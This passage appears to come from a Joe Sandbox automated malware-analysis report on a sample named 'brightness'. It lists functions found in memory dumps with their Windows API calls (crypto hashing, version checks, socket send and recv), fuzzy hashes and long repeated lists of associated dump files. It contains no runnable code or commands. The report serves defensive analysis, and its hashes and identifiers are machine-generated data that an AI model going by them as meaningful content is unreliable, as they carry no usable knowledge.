Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait
String ID: {21AA2932-B56E-4A88-96A8-ED25B3407693}${C4F1F2C1-695F-4D66-8AAF-6A2C007FD9FA}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 24740636-1247784287
Opcode ID: 527ee0ec45b9552c6c658f0dc51fe1a969e61d439ee5bbbb0e94aecd846d1950
Instruction ID: b43dede93084cff5586182d8b85f9dc8013b5e375ee965a0d38903227f39c82d
Opcode Fuzzy Hash: 527ee0ec45b9552c6c658f0dc51fe1a969e61d439ee5bbbb0e94aecd846d1950
Instruction Fuzzy Hash: C4E1A770DA1345EFEB21EFA5DC89FAE77B5AB04304F604525F202761D0C7B899A4CB51

Function 002E2530 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000318), ref: 002E2540
LocalFree.KERNEL32(00000000), ref: 002E256B
LocalFree.KERNEL32(00000000), ref: 002E2594

Strings

NTDLL.DLL, xrefs: 002E2553
RtlGetVersion, xrefs: 002E2578

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc
String ID: NTDLL.DLL$RtlGetVersion
API String ID: 3098330729-196638859
Opcode ID: 7c5c7a938067e081fd292f6b8566d542d16cd35f943db09a4537f07a80240ffe
Instruction ID: 0d19d3758cab8d1fd8d72cce3ff7508badf38ced0695f132c7a789362720a175
Opcode Fuzzy Hash: 7c5c7a938067e081fd292f6b8566d542d16cd35f943db09a4537f07a80240ffe
Instruction Fuzzy Hash: 48513774A60208EFDB14DF65C998BEDB7B8BF48304F5085A8E50AA7240DB709F94DF50

Function 002DBF00 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 119encryptionsynchronizationCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000,?,?,?,002C9E2A,00000000), ref: 002DBF2D
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000,?,?,?,002C9E2A,00000000), ref: 002DBF4D
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 002DBFA4
CryptHashData.ADVAPI32(00000000,002C9E2A,00002710,00000000), ref: 002DBFCA
CryptHashData.ADVAPI32(00000000,002C9E2A,00000000,00000000), ref: 002DC000
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,002C9E2A,00000000), ref: 002DC04A
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,002C9E2A,00000000), ref: 002DC06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,002C9E2A,00000000), ref: 002DC07A

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 002DBF22

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$DataRelease$AcquireCreateDestroyObjectSingleWait
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 1452691613-63410773
Opcode ID: 00ae740f720faab27896217d96a66ae528c85908a41b712020b25df075378e12
Instruction ID: a6d236b74ee37f523d9b51c67359a9dd3bbd4cc4ac06d788d214183db59b1a43
Opcode Fuzzy Hash: 00ae740f720faab27896217d96a66ae528c85908a41b712020b25df075378e12
Instruction Fuzzy Hash: DF416B74A10209EFDB14CF94DC89BAEB7B9FB48705F208049F605A7290C7B99E50DB90

Function 002D6D30 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 559COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002D70B8
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002D716A
___crtGetLocaleInfoEx.LIBCMTD ref: 002D7187
closesocket.WS2_32(?), ref: 002D7193

Strings

d, xrefs: 002D723F

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: setsockopt$InfoLocale___crtclosesocket
String ID: d
API String ID: 2109755706-2564639436
Opcode ID: ebfbdb791ce35c407a667de2c05e2e88381ccac3a02321324374f84b6712617a
Instruction ID: e1e44b4c545b47dec9f2e4403a8c172106440276f960a0d658b46b56040b5357
Opcode Fuzzy Hash: ebfbdb791ce35c407a667de2c05e2e88381ccac3a02321324374f84b6712617a
Instruction Fuzzy Hash: 5B326970A14209DFDB08DF94C899FAEBBB5FB54304F24851AE516AF3C1D7B8A852CB50

Function 002E0950 Relevance: 10.8, APIs: 7, Instructions: 251COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 002E096D

Part of subcall function 002DF650: recv.WS2_32(00000000,?,000000FF,002E0A9A), ref: 002DF663

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtrecv
String ID:
API String ID: 818993241-0
Opcode ID: 15a6a9c67a27fa3bbebcc9ee01b1ce6e7368fcb4499761a28ce6dfdad17569ba
Instruction ID: 3140ee24dd3c00aaa51d1f1aa5139f247d43c3fe2a974552e71fbb64bd7076dc
Opcode Fuzzy Hash: 15a6a9c67a27fa3bbebcc9ee01b1ce6e7368fcb4499761a28ce6dfdad17569ba
Instruction Fuzzy Hash: BCB12870960249DFDB14CF95C9D4BADB7B1BF48308F64821AE905AB381C7B5A9E2CF41

Function 002E0CD0 Relevance: 10.7, APIs: 7, Instructions: 243COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 002E0CED

Part of subcall function 002DF670: send.WS2_32(00000000,?,000000FF,002E0E0C), ref: 002DF683

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: InfoLocale___crtsend
String ID:
API String ID: 3464212537-0
Opcode ID: 4210833f19ca71801482f49513bcea105f3bc9df5eb9f766458a7f05c0e13b90
Instruction ID: 961277762ccdb1935b51bfdf2af376b72aee3f4e8348a4c987e61a5d1d892188
Opcode Fuzzy Hash: 4210833f19ca71801482f49513bcea105f3bc9df5eb9f766458a7f05c0e13b90
